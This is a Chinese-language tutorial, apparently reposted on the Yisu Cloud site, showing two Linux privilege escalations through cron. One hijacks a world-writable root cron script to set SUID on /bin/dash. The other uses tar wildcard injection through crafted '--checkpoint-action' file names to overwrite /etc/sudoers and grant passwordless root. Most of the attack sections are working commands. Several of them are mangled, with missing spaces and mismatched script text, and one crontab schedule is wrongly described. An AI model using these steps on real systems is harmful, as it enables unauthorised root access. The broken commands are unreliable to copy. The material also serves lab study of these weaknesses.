Linux中怎么使用Cron Jobs实现提权

发布时间:2021-08-03 15:57:50 作者:Leah
来源:亿速云 阅读:229

本篇文章给大家分享的是有关Linux中怎么使用Cron Jobs实现提权,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

Cron Jobs能做什么?

Cron Jobs可以在服务器端完成一系列计划任务(设定时间自动执行命令等等),一般它主要用于执行系统管理员任务,例如数据备份或清理缓存目录等等。Cron这个词来源于“crontab”,而这个玩意儿存在于/etc目录中。

Linux中怎么使用Cron Jobs实现提权

比如说,在crontab中,我们添加下列条目来实现每隔一个小时就自动打印出apache的错误日志“

1 0 ** * printf "" > /var/log/apache/error_log

Crontab文件重写

设置简陋配置的Cron任务

目标:在crontab的帮助下,设置一个新的任务来运行目标Python脚本,并清除指定目录中的全部数据。

假设目录名称为“cleanup“,它的数据每隔两分钟就会被自动清空一次。在开始之前我们需要在/home/cleanup中存储一些数据:

mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls

Linux中怎么使用Cron Jobs实现提权

接下来,编写一个Python脚本来删除/home/cleanup目录中的数据,我们需要给这个脚本完整的r/w/x权限。

切换目录并创建脚本:

cd /tmp
nano cleanup.py

脚本代码:

#!/usr/bin/envpython
import os
import sys
try:
os.system('rm -r /home/cleanup/* ')
except:
sys.exit()

赋予权限:

chmod 777 cleanup.py

Linux中怎么使用Cron Jobs实现提权

最后配合crontab设置计划任务,并每隔两分钟运行一次cleanup.py :

nano /etc/crontab
*/2*   * * *   root    /tmp /cleanup.py

Linux中怎么使用Cron Jobs实现提权

验证结果:

cd /home/cleanup
ls
date
ls

Linux中怎么使用Cron Jobs实现提权

大家可以看到数据每隔两分钟就会被清空一次。

后渗透利用

开启你的攻击设备,然后入侵目标系统,接下来直接进到提权步骤。假设我们已经通过ssh成功登录了目标设备,并访问了非root用户终端,然后执行以下命令:

cat /etc/crontab
ls -al /tmp/cleanup.py
cat /tmp/cleanup.py

我们此时可以发现,crontab每隔两分钟便会运行一次Python脚本,我们待会儿需要利用这一点。

Linux中怎么使用Cron Jobs实现提权

启用/bin/dash的SUID,使用nano打开cleanup.py ,并将其中的“rm -r /tmp/*”替换成下列内容:

os.system('chmod u+s /bin/dash')

Linux中怎么使用Cron Jobs实现提权

两分钟之后,它将会给/bin/dash设置SUID权限,运行之后你就能拿到root权限了:

/bin/dash
id
whoami

Linux中怎么使用Cron Jobs实现提权

Crontab Tar通配符注入

环境搭建

目标:在crontab的帮助下设置一个计划任务,备份HTML目录中的tar文档。

注意,该目录需要具备可执行权限(x)。

Linux中怎么使用Cron Jobs实现提权

然后每隔一分钟将/html目录中的tar文件备份到/var/backups中:

nano /etc/crontab
*/1*   * * *   root tar -zcf /var/backups/html.tgz/var/www/html/*

Linux中怎么使用Cron Jobs实现提权

执行下列命令查看运行结果:

cd /var/backup
ls
date

从下图中我们可以看到,一分钟之后html.tgz文件已经生成了:

Linux中怎么使用Cron Jobs实现提权

后渗透利用

开启你的攻击设备,然后入侵目标系统,接下来直接进到提权步骤。假设我们已经通过ssh成功登录了目标设备,并访问了非root用户终端。接下来,打开crontab查看计划任务是否已经设置成功:

cat /etc/crontab

Linux中怎么使用Cron Jobs实现提权

执行下列命令来授权sudo权限,并登录用户账号,即实现通配符注入:

echo'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers'>test.sh
echo"" > "--checkpoint-action=exec=sh test.sh"
echo"" > --checkpoint=1
tarcf archive.tar *

一分钟之后,它将会给用户ignite赋予sudo权限:

sudo -l
sudo bash
whoami

Linux中怎么使用Cron Jobs实现提权

以上就是Linux中怎么使用Cron Jobs实现提权,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。

推荐阅读:
  1. Linux提权的常用方式介绍
  2. 在Linux中如何使用cron计划任务

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

linux

上一篇:CMSTP中怎么绕过AppLocker

下一篇:如何解决某些HTML字符打不出来的问题

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》